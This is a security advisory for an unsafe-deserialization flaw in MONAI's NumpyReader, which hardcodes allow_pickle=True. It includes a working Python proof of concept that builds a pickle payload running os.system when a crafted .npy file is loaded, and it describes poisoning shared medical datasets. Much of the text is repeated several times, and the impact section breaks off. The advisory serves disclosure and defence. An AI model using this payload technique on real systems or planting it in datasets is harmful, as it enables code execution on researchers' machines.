CVE-2026-100845

MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.

MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.

MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard…

MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.

MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard…

MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.